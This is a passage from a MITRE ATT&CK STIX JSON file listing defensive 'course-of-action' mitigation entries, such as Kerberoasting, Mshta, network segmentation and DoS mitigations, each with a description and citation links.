                    "description": "Nelson, M. (2018, June 11). The Tale of SettingContent-ms Files. Retrieved April 18, 2019."
                }
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            ],
            "external_references": [
                {
                    "url": "https://attack.mitre.org/mitigations/T1490",
                    "source_name": "mitre-attack",
                    "external_id": "T1490"
                },
                {
                    "source_name": "Ready.gov IT DRP",
                    "url": "https://www.ready.gov/business/implementation/IT",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "description": "Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery. \n\nConsider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)",
            "name": "Inhibit System Recovery Mitigation",
            "id": "course-of-action--bb25b897-bfc7-4128-839d-52e9764dbfa6",
            "type": "course-of-action",
            "modified": "2020-01-17T16:45:23.917Z",
            "created": "2019-04-22T13:54:51.385Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Input Prompt Mitigation",
            "description": "This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to mitigate. Use user training as a way to bring awareness and raise suspicion for potentially malicious events (ex: Office documents prompting for credentials).",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1141",
                    "external_id": "T1141"
                }
            ],
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            "type": "course-of-action",
            "modified": "2019-07-24T19:42:41.375Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Install Root Certificate Mitigation",
            "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)\n\nWindows Group Policy can be used to manage root certificates and the <code>Flags</code> value of <code>HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\Root\\ProtectedRoots</code> can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)",
            "external_references": [
                {
                    "external_id": "T1130",
                    "url": "https://attack.mitre.org/mitigations/T1130",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Wikipedia HPKP",
                    "description": "Wikipedia. (2017, February 28). HTTP Public Key Pinning. Retrieved March 31, 2017.",
                    "url": "https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning"
                },
                {
                    "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec",
                    "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
                    "source_name": "SpectorOps Code Signing Dec 2017"
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            "type": "course-of-action",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "InstallUtil Mitigation",
            "description": "InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1118",
                    "external_id": "T1118"
                }
            ],
            "object_marking_refs": [
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            "modified": "2019-07-24T19:43:58.738Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Kerberoasting Mitigation",
            "description": "Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nLimit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nEnable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1208",
                    "external_id": "T1208"
                },
                {
                    "source_name": "AdSecurity Cracking Kerberos Dec 2015",
                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
                    "url": "https://adsecurity.org/?p=2293"
                }
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            "modified": "2019-07-24T19:44:28.440Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Kernel Modules and Extensions Mitigation",
            "description": "Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.\n\nLKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.\n\nApplication whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1215",
                    "external_id": "T1215"
                },
                {
                    "url": "http://rkhunter.sourceforge.net",
                    "description": "Rootkit Hunter Project. (2018, February 20). The Rootkit Hunter project. Retrieved April 9, 2018.",
                    "source_name": "SourceForge rkhunter"
                },
                {
                    "url": "http://www.chkrootkit.org/",
                    "description": "Murilo, N., Steding-Jessen, K. (2017, August 23). Chkrootkit. Retrieved April 9, 2018.",
                    "source_name": "Chkrootkit Main"
                },
                {
                    "url": "https://patchwork.kernel.org/patch/8754821/",
                    "description": "Vander Stoep, J. (2016, April 5). [v3] selinux: restrict kernel module loadinglogin  register. Retrieved April 9, 2018.",
                    "source_name": "Kernel.org Restrict Kernel Module"
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                    "url": "https://support.apple.com/en-us/HT204005",
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                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                }
            ],
            "object_marking_refs": [
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            ],
            "type": "course-of-action",
            "modified": "2020-01-17T16:45:23.126Z",
            "created": "2018-10-17T00:14:20.652Z",
            "x_mitre_deprecated": true,
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            "id": "course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Modify Registry Mitigation",
            "description": "Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through [Service Registry Permissions Weakness](https://attack.mitre.org/techniques/T1058). Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "external_id": "T1112",
                    "url": "https://attack.mitre.org/mitigations/T1112",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "modified": "2020-01-17T16:45:23.884Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Mshta Mitigation",
            "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
            "external_references": [
                {
                    "external_id": "T1170",
                    "url": "https://attack.mitre.org/mitigations/T1170",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
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            "type": "course-of-action",
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            "name": "Multi-Stage Channels Mitigation",
            "description": "Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1104",
                    "external_id": "T1104"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "object_marking_refs": [
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            ],
            "type": "course-of-action",
            "modified": "2019-07-25T11:14:24.192Z",
            "created": "2018-10-17T00:14:20.652Z",
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                {
                    "source_name": "mitre-attack",
                    "external_id": "M1032",
                    "url": "https://attack.mitre.org/mitigations/M1032"
                }
            ],
            "name": "Multi-factor Authentication",
            "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.",
            "id": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0",
            "type": "course-of-action",
            "modified": "2019-06-10T20:53:36.319Z",
            "created": "2019-06-10T20:53:36.319Z",
            "x_mitre_version": "1.0"
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            "name": "Multi-hop Proxy Mitigation",
            "description": "Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1188",
                    "external_id": "T1188"
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            ],
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            "modified": "2019-07-25T11:14:52.662Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Multiband Communication Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1026",
                    "external_id": "T1026"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "type": "course-of-action",
            "modified": "2019-07-25T11:15:17.942Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Multilayer Encryption Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1079",
                    "external_id": "T1079"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
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            "type": "course-of-action",
            "modified": "2019-07-25T11:15:39.400Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "NTFS File Attributes Mitigation",
            "description": "It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nConsider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)",
            "external_references": [
                {
                    "external_id": "T1096",
                    "url": "https://attack.mitre.org/mitigations/T1096",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/",
                    "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.",
                    "source_name": "Microsoft ADS Mar 2014"
                },
                {
                    "source_name": "Symantec ADS May 2009",
                    "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.",
                    "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                },
                {
                    "source_name": "InsiderThreat NTFS EA Oct 2017",
                    "description": "Sander, J. (2017, October 12). Attack Step 3: Persistence with NTFS Extended Attributes \u2013 File System Attacks. Retrieved March 21, 2018.",
                    "url": "https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks"
                }
            ],
            "object_marking_refs": [
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            "type": "course-of-action",
            "modified": "2020-01-17T16:45:23.913Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Netsh Helper DLL Mitigation",
            "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)",
            "external_references": [
                {
                    "external_id": "T1128",
                    "url": "https://attack.mitre.org/mitigations/T1128",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                }
            ],
            "object_marking_refs": [
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            "type": "course-of-action",
            "modified": "2020-01-17T16:45:23.652Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "external_id": "T1498",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1498"
                },
                {
                    "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.",
                    "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf",
                    "source_name": "CERT-EU DDoS March 2017"
                }
            ],
            "description": "When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)\n\nDepending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)\n\nAs immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)",
            "name": "Network Denial of Service Mitigation",
            "id": "course-of-action--654addf1-47ab-410a-8578-e1a0dc2a49b8",
            "type": "course-of-action",
            "modified": "2019-07-25T11:16:48.088Z",
            "created": "2019-04-19T18:46:47.964Z",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "M1031",
                    "url": "https://attack.mitre.org/mitigations/M1031"
                }
            ],
            "name": "Network Intrusion Prevention",
            "description": "Use intrusion detection signatures to block traffic at network boundaries.",
            "id": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c",
            "type": "course-of-action",
            "modified": "2019-06-10T20:46:02.263Z",
            "created": "2019-06-10T20:46:02.263Z",
            "x_mitre_version": "1.0"
        },
        {
            "id": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c",
            "name": "Network Segmentation",
            "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Configure separate virtual private cloud (VPC) instances to isolate critical cloud systems.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "M1030",
                    "url": "https://attack.mitre.org/mitigations/M1030"
                }
            ],
            "object_marking_refs": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "type": "course-of-action",
            "modified": "2020-05-14T13:05:39.500Z",
            "created": "2019-06-10T20:41:03.271Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Network Service Scanning Mitigation",
            "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "external_id": "T1046",
                    "url": "https://attack.mitre.org/mitigations/T1046",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Network Share Connection Removal Mitigation",
            "description": "Follow best practices for mitigation of activity related to establishing [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). \n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                {
                    "external_id": "T1135",
                    "url": "https://attack.mitre.org/mitigations/T1135",
                    "source_name": "mitre-attack"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
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                    "source_name": "Corio 2008",
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                    "source_name": "TechNet Applocker vs SRP",
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            "description": "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "external_id": "T1040",
                    "url": "https://attack.mitre.org/mitigations/T1040",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
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                    "source_name": "TechNet Applocker vs SRP",
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
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                    "source_name": "Corio 2008",
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                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
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                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            ],
            "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only  authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "name": "New Service Mitigation",
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            "id": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.",
            "name": "Operating System Configuration",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "M1028",
                    "url": "https://attack.mitre.org/mitigations/M1028"
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            "modified": "2020-06-19T16:50:45.681Z",
            "created": "2019-06-06T21:16:18.709Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Pass the Hash Mitigation",
